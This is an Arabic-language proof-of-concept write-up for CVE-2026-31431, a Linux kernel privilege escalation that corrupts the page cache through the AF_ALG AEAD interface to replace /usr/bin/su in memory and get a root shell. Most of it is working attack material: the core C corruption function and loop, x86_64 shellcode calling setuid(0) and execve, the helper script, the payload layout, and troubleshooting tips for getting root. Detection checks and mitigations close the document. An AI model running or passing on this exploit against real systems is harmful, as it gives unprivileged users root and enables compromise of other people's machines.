
إثبات مفهوم عملي لاستغلال CVE-2026-31431، وهو تصعيد صلاحيات محلي في نواة لينكس عبر تلف ذاكرة التخزين المؤقت للصفحات في AF_ALG AEAD، مما يمنح صلاحيات الجذر (root shell).
2026-04-29 — أنشر هذا الاستغلال بعد يوم واحد من مشاركته في منتدى MyDigitalLife. لا يتطلب Python؛ فهو مكتوب بلغة C ومُجمَّع بأصغر حجم ممكن باستخدام:
musl-gcc -static -Os -o exploit exploit.c -sتهديد حرج. ملف الاستغلال الثنائي مُجمَّع بدون تبعيات ويمكن استخدامه لاختبار الثغرات على أي نظام Linux
CVE-2026-31431 هي ثغرة مؤكدة من NIST في نواة Linux تسمح لمستخدم محلي غير مميز بالحصول على قشرة
rootفي ثوانٍ. في ضوء الاستغلال المتداول علنًا لـ CVE-2026-31431، قمت بتطوير إثبات مفهوم (PoC) ثنائي لتقييم مدى تعرض بنيتنا التحتية الداخلية. بينما تقيّد بعض البيئات استخدام su، فإن هذه الثغرة خطيرة بشكل خاص للخوادم المشتركة لأنها تستهدف إدارة ذاكرة النواة الأساسية. وبالتالي، يمكن استغلال أي ملف ثنائي SETUID — بما في ذلك sudo وpasswd وmount أو newgrp — لتفعيل الاستغلال ومنح قشرة root. يلزم اتخاذ إجراء إداري لتصحيح النواة فورًا، حيث أن قيود مساحة المستخدم القياسية غير كافية للتخفيف من هذا التهديد. أي نظام Linux يعمل بنواة غير مُصححة معرّض للخطر.
استغلالي العملي الخاص · نواة Linux · واجهة التشفير AF_ALG (AEAD)
يستبدل /usr/bin/su في ذاكرة التخزين المؤقت للصفحات دون لمس الملف على القرص
يكفي الوصول إلى قشرة محلية — لا تتطلب صلاحيات إضافية
يؤثر على توزيعات Linux غير المُصححة

CVE-2026-31431 هي خلل في معالجة عمليات الإدخال/الإخراج المبعثرة-المجمعة (scatter-gather I/O) ومراجع ذاكرة التخزين المؤقت للصفحات في النظام الفرعي للتشفير في نواة Linux — وتحديدًا في تنفيذ مقبس AF_ALG لخوارزميات AEAD (crypto/af_alg.c, crypto/aead.c).
تعرض نواة Linux واجهة تشفير لمساحة المستخدم عبر مقابس AF_ALG. تكمن الثغرة في أنه أثناء عملية فك تشفير AEAD، تقوم النواة بشكل غير صحيح بتعيين مخرجات فك التشفير مباشرة على صفحات ذاكرة التخزين المؤقت للملف المصدر — بدلاً من مخزن مؤقت مؤقت. وبالتالي يمكن للمهاجم الكتابة فوق محتوى أي ملف في الذاكرة دون تعديله على القرص، وبدون صلاحيات root، ودون ترك أي أثر مرئي في نظام الملفات.
يتكون الاستغلال من مكوّنين: سكربت مساعد في /tmp/x وحلقة إفساد تعتمد على AF_ALG. فيما يلي شرح دقيق بناءً على تحليل الكود المصدري:
1. إعداد السكربت المساعد
ينشئ الاستغلال /tmp/x بالمحتوى التالي:
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh
ويضبط الصلاحيات على 0755. السبب: /usr/bin/su يجرّد متغيرات البيئة (بما في ذلك TERM) عند التشغيل. يستعيد السكربت المساعد هذه المتغيرات قبل تشغيل القشرة الفعلية، مما يضمن طرفية وظيفية.
2. بناء حمولة ELF
يتم بناء ملف ELF ثنائي x86_64 مصغر بحجم 158 بايت يحتوي على شيلكود خام في الذاكرة. ثم يتم تعديل السلسلة /bin/sh عند الإزاحة 150 إلى /tmp/x\0 عبر memcmp/memcpy. راجع حمولة ELF للتفاصيل.
3. فتح /usr/bin/su للقراءة فقط
int su_fd = open("/usr/bin/su", O_RDONLY);
يُفتح الملف للقراءة فقط — لا يتطلب الاستغلال أي صلاحيات كتابة على الإطلاق.
4. حلقة الإفساد — 39 تكرارًا من 4 بايت لكل منها
تتم معالجة الحمولة (158 بايت) في أجزاء من 4 بايت (39 جزءًا كاملاً). يتم تمرير كل جزء عبر corrupt_binary_chunk()، والتي تقوم بما يلي:
AF_ALG (SOCK_SEQPACKET)authencesn(hmac(sha256),cbc(aes)) — خوارزمية AEAD مركبةop_sock)sendmsg بمخزن 8 بايت (4× 'A' + 4 بايت حمولة) وثلاث رسائل CMSG: ALG_OP_DECRYPT، IV (20 بايت)، assoclen=8splice: su_fd → pipe → op_sock (نسخ صفري عبر النواة)recv() — هنا تقوم النواة بشكل خاطئ بالكتابة فوق ذاكرة التخزين المؤقت للصفحات5. التنفيذ
execve("/usr/bin/su", args, NULL);
تقوم النواة بتحميل /usr/bin/su عبر ذاكرة التخزين المؤقت للصفحات — والتي أصبحت الآن مسمومة. بت SUID (chmod u+s) سليم، لذا تنفذ النواة الملف كـ root. يقوم الشيلكود بتشغيل setuid(0) → execve("/tmp/x") → قشرة root تفاعلية.
flowchart TD
A[مستخدم محلي غير مميز] --> B["إنشاء سكربت مساعد /tmp/x\nchmod 0755"]
B --> C["بناء حمولة ELF بحجم 158 بايت\nتعديل: /bin/sh → /tmp/x"]
C --> D["open /usr/bin/su O_RDONLY\nلا حاجة لصلاحيات كتابة"]
D --> E[حلقة: 39 جزءًا من 4 بايت]
E --> F[socket AF_ALG SOCK_SEQPACKET]
F --> G["bind: authencesn hmac sha256 cbc aes"]
G --> H["setsockopt: مفتاح 72B + authsize=4"]
H --> I[accept → op_sock]
I --> J["sendmsg: بيانات 8B + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
J --> K["splice: su_fd → pipe → op_sock\nنسخ صفري عبر النواة"]
K --> L[recv → إنهاء عملية AEAD]
L --> M["خلل النواة: مخرجات فك التشفير\nتكتب فوق ذاكرة التخزين المؤقت لـ su_fd"]
M --> N{الجزء التالي؟}
N -->|نعم| E
N -->|لا| O["execve /usr/bin/su"]
O --> P["النواة تحمّل /usr/bin/su\nمن ذاكرة التخزين المؤقت المسمومة"]
P --> Q["بت SUID سليم\nالنواة تنفذ كـ root"]
Q --> R["الشيلكود: setuid 0 استدعاء النظام 105"]
R --> S["execve /tmp/x استدعاء النظام 59"]
S --> T[قشرة root تفاعلية]الأقسام الرئيسية من exploit.c مراجعة أدناه:
corrupt_binary_chunk()قلب الاستغلال. كل استدعاء ينسق معاملة AF_ALG كاملة:
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
// إنشاء مقبس AF_ALG والربط بـ AEAD authencesn(hmac(sha256),cbc(aes))
alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));
// مفتاح 72 بايت + حجم علامة المصادقة = 4 بايت
setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); // 72B
setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
op_sock = accept(alg_sock, NULL, NULL);
// المخزن: 4x 'A' كبيانات مرتبطة + 4 بايت حمولة
unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};
// 3 CMSGs: عملية DECRYPT / IV (20B، البايت الأول 0x10) / assoclen=8
// sendmsg مع MSG_MORE — البيانات لم تكتمل بعد
sendmsg(op_sock, &msg, MSG_MORE);
// splice بنسخ صفري: su_fd → pipe → op_sock (إزاحة + 4 بايت)
splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);
// recv ينهي العملية — النواة تكتب بشكل خاطئ إلى ذاكرة التخزين المؤقت لـ su_fd هنا
recv(op_sock, dummy, 8 + offset, 0);
}
for (size_t i = 0; i < len; i += 4) {
if (i + 4 > len) break; // يتخطى آخر 2 بايت (158 % 4 = 2)
corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 جزءًا كاملاً × 4 بايت = 156 بايت مطبقة
الحمولة هي ملف ELF ثنائي x86_64 مكتفٍ ذاتيًا بحجم 158 بايت مع شيلكود خام — بدون رابط ديناميكي، وبدون مكتبات خارجية.
; الإزاحة 120 — نقطة الدخول 0x400078
xor eax, eax ; eax = 0
xor edi, edi ; edi = 0 (uid = 0)
mov al, 105 ; استدعاء النظام setuid(0)
syscall
lea rdi, [rip+0xf] ; rdi → "/tmp/x\0" (الإزاحة 150)
xor esi, esi ; argv = NULL
push 59
pop rax ; استدعاء النظام execve
cdq ; rdx = 0 (envp = NULL)
syscall
xor edi, edi
push 60
pop rax ; استدعاء النظام exit(0)
syscall
; الإزاحة 150
db "/tmp/x", 0, 0 ; (معدلة من "/bin/sh\0")
uname -r
قارن المخرجات مع قائمة الإصدارات المعرضة للخطر المنشورة من NIST: nvd.nist.gov/vuln/detail/CVE-2026-31431
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG available — system may be vulnerable')"
إذا أعاد الأمر [Errno 97] Address family not supported — فإن الوحدة معطلة والخطر أقل بشكل كبير.
/usr/bin/suls -la /usr/bin/su
إذا كان بت s موجودًا (مثل -rwsr-xr-x) — فإن /usr/bin/su لديه SUID وهو ناقل الهجوم.
# إلغاء تحميل وحدة AF_ALG إذا لم تكن مطلوبة
sudo modprobe -r af_alg 2>/dev/null || echo "Module is built into the kernel — cannot unload"
# بدلاً من ذلك — إزالة SUID مؤقتًا
sudo chmod u-s /usr/bin/su
هذا القسم مخصص لباحثي الأمن الذين يحللون الثغرة في بيئة معزولة.
socket() أو bind()العرض: perror("socket") أو perror("bind") يؤدي إلى الخروج.
الأسباب:
AF_ALG أو خوارزمية authencesn — تحقق: cat /proc/crypto | grep authencesnsudo modprobe hmac sha256 cbc aead authencesnAF_ALG — تحقق من السجلات: dmesg | tail -20splice() يعيد EPERM / EINVALالعرض: عملية splice مرفوضة من النواة.
الأسباب:
su_fd يشير إلى ملف عادي، وليس رابطًا رمزيًا أو جهازًاdmesg لسجلات التدقيق التي تحظر النسخ الصفري إلى مقابس التشفيرexecve يطلق قشرة مستخدم عاديةالعرض: لا توجد موجه root؛ id يعرض UID الأصلي.
الأسباب:
/usr/bin/su يفتقد بت SUID — ls -la /usr/bin/su، يجب أن يكون بت s مرئيًاexecve — أضف sync أو قلل تأخير الحلقة/tmp/x غير موجود أو TERM مفقودالعرض: تظهر القشرة لكن عرض الطرفية معطل.
الأسباب:
/tmp قابل للكتابة وغير مركب مع noexec/tmp/x بصلاحيات 0755 — تحقق: ls -la /tmp/xexecve("/tmp/x") — يمكن إعادة تعديل الشيلكود لاستخدام /bin/sh مباشرةتحذير: هذا المستند منشور لأغراض إعلامية وتعليمية ودفاعية فقط. يصف تهديدًا معروفًا علنًا حددته NIST وأبلغ عنه مجتمع الأمن. تشغيل الاستغلال على أنظمة لا تملكها أو تفتقر إلى إذن صريح لاختبارها قد ينتهك القوانين المعمول بها ويؤدي إلى مسؤولية جنائية. اختبر فقط في بيئات معملية معزولة.
جميع العلامات التجارية هي ملك لأصحابها. Linux والعلامات ذات الصلة هي علامات تجارية لمؤسسة Linux.
آخر تحديث: 2026-04-29
| الخاصية | القيمة |
|---|
| المعرّف | CVE-2026-31431 |
| المرجع | NIST NVD |
| النوع | تصعيد الامتيازات المحلية (LPE) |
| المكوّن | نواة Linux — AF_ALG / AEAD (authencesn) |
| الوصول المطلوب | مستخدم محلي غير مميز |
| التأثير | قشرة root تفاعلية |
| حالة الاستغلال | PoC عامل متاح علنًا على GitHub |
| الاستمرارية | لا شيء — التعديل موجود في الذاكرة فقط؛ إعادة التشغيل تستعيد الحالة الأصلية |
| النظام | الحالة |
|---|
| Ubuntu 24.04 (جهاز فعلي / VM) | ⚠️ معرض للخطر على نواة غير مُصححة |
| Debian, Fedora, Arch على نواة غير مُصححة | ⚠️ معرض للخطر |
التوزيعات مع CONFIG_SECURITY_LOCKDOWN_LSM | ✅ محمي على الأرجح |
الأنظمة مع nosuid أو ProtectSUID (systemd) | ✅ محمي |
الأنظمة مع AppArmor/SELinux التي تحظر AF_ALG | ✅ محمي |
| macOS, Windows (أصلي) | ✅ غير متأثر |
| الحقل | التفاصيل |
|---|
| الحجم الإجمالي | 158 بايت |
| رأس ELF | 120 بايت (e_type=2 EXEC، e_machine=62 x86_64) |
| نقطة الدخول | 0x00400078 = الإزاحة 120 (مباشرة بعد الرأس) |
| الشيلكود | 30 بايت (الإزاحات 120–149) |
| السلسلة الهدف | 8 بايت عند الإزاحة 150 (/bin/sh\0 → معدلة إلى /tmp/x\0) |
| أجزاء 4 بايت | 39 كاملة (156 بايت)؛ آخر 2 بايت يتم تخطيها |
| التخفيف | طريقة التطبيق | الفعالية |
|---|
| تحديث النواة | sudo apt update && sudo apt upgrade + إعادة تشغيل | ✅ كاملة (عند توفر التصحيح) |
| حظر وحدة AF_ALG | echo "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf | ✅ يحجب ناقل الهجوم |
إزالة SUID من su | sudo chmod u-s /usr/bin/su | ✅ يحجب هذا الاستغلال (ملاحظة: سيتوقف su عن العمل) |
تركيب /tmp مع noexec | تعديل /etc/fstab: tmpfs /tmp tmpfs noexec,nosuid 0 0 | ⚠️ جزئية — تحجب /tmp/x، قد يستخدم الاستغلال مسارًا آخر |
| AppArmor / SELinux | ملف تعريف يحظر AF_ALG socket للمستخدمين غير المميزين | ✅ فعالة مع التكوين الصحيح |